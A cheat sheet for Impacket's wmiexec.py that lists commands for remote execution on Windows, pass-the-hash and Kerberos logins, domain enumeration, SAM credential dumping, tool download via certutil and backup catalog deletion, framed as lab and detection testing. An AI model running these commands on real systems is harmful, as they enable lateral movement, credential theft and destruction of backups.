wmiexec.py administrator@192.168.1.10Initiates a semi-interactive shell on the target using a username and password prompt.
Impacket’s wmiexec.py: a semi-interactive shell over DCOM/WMI that leaves fewer artefacts than service-based execution.
sudo apt install python3-impacketwmiexec.py administrator:password123@192.168.1.10 "hostname"Executes a single command non-interactively and retrieves the standard output.
wmiexec.py administrator:password123@192.168.1.10 "ipconfig /all"Runs a detailed network configuration command remotely and exits after output.
wmiexec.py administrator:password123@192.168.1.10 "whoami /priv"Checks the privileges of the executing user on the remote system.
wmiexec.py -hashes :32693b11e6aa90eb43d32c72a77c1a1a administrator@192.168.1.10Authenticates using the Pass-the-Hash technique with an NT hash only.
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a77c1a1a administrator@192.168.1.10Authenticates using the Pass-the-Hash technique with both LM and NT hashes.
wmiexec.py -hashes :32693b11e6aa90eb43d32c72a77c1a1a lab_domain/admin@192.168.1.10Performs Pass-the-Hash authentication for a domain account against a target IP.
wmiexec.py -k -no-pass hostname.lab_domain.localAuthenticates using a Kerberos ticket from the KRB5CCNAME environment variable.
wmiexec.py -k -no-pass -dc-ip 192.168.1.5 hostname.lab_domain.localUses Kerberos auth while explicitly specifying the Domain Controller IP address.
wmiexec.py -aesKey 64bit_aes_hex_key_here user@hostname.localAuthenticates using an AES256 key for explicit Kerberos key usage.
wmiexec.py administrator:password123@192.168.1.10 "net user /domain"Simulates lateral reconnaissance by querying domain users from a compromised host.
wmiexec.py administrator:password123@192.168.1.10 "net group 'Domain Admins' /domain"Simulates privileged group enumeration often performed after initial access.
wmiexec.py administrator:password123@192.168.1.10 "type C:\Users\Administrator\Desktop\flag.txt"Simulates data exfiltration or looting by reading specific files from the target.
wmiexec.py administrator:password123@192.168.1.10 "powershell -nop -w hidden -c 'Write-Host Test'"Executes PowerShell via WMI to test detection of child process creation events.
wmiexec.py administrator:password123@192.168.1.10 "certutil -urlcache -split -f http://127.0.0.1/test test.exe"Tests detection rules for ingress tool transfer using living-off-the-land binaries.
wmiexec.py administrator:password123@192.168.1.10 "reg save HKLM\SAM sam.save"Simulates credential dumping activity to validate registry access alerting.
wmiexec.py -shell-type powershell administrator:password123@192.168.1.10Instantiates the remote shell using PowerShell instead of the default CMD (if supported).
wmiexec.py -ts administrator:password123@192.168.1.10Prepends timestamps to the output logs for better timeline analysis during testing.
wmiexec.py administrator:password123@192.168.1.10 "tasklist /v"remotely lists running processes to identify suspicious activity or confirm execution.
wmiexec.py administrator:password123@192.168.1.10 "netstat -anob"Retrieves active network connections and associated binaries for forensic triage.
wmiexec.py -no-output administrator:password123@192.168.1.10 "ping -n 1 127.0.0.1"Executes a command blindly without waiting for or retrieving the output file.
wmiexec.py administrator:password123@192.168.1.10 "dir C:\Windows\System32\drivers\etc\hosts"Verifies file existence remotely, often used in automated configuration checks.
wmiexec.py administrator:password123@192.168.1.10 "vssadmin list shadows"Executes commands often associated with ransomware reconnaissance to test EDR logic.
wmiexec.py administrator:password123@192.168.1.10 "wbadmin delete catalog -quiet"Simulates backup deletion attempts to trigger high-severity backup tampering alerts.
wmiexec.py administrator:password123@192.168.1.10 "del C:\Windows\Temp\wmi_output_*.txt"Manually cleans up any artifact files left if the automatic cleanup mechanism fails.
Running commands on remote Windows hosts via the Service Control Manager — Sysinternals PsExec and Impacket’s psexec.py.
Impacket’s smbexec.py: a semi-interactive shell over SMB that creates a service per command instead of uploading a binary.
The Swiss-army knife for Windows networks: spray credentials, execute commands and dump secrets across SMB, WinRM, LDAP and MSSQL. NetExec (nxc) is the maintained fork.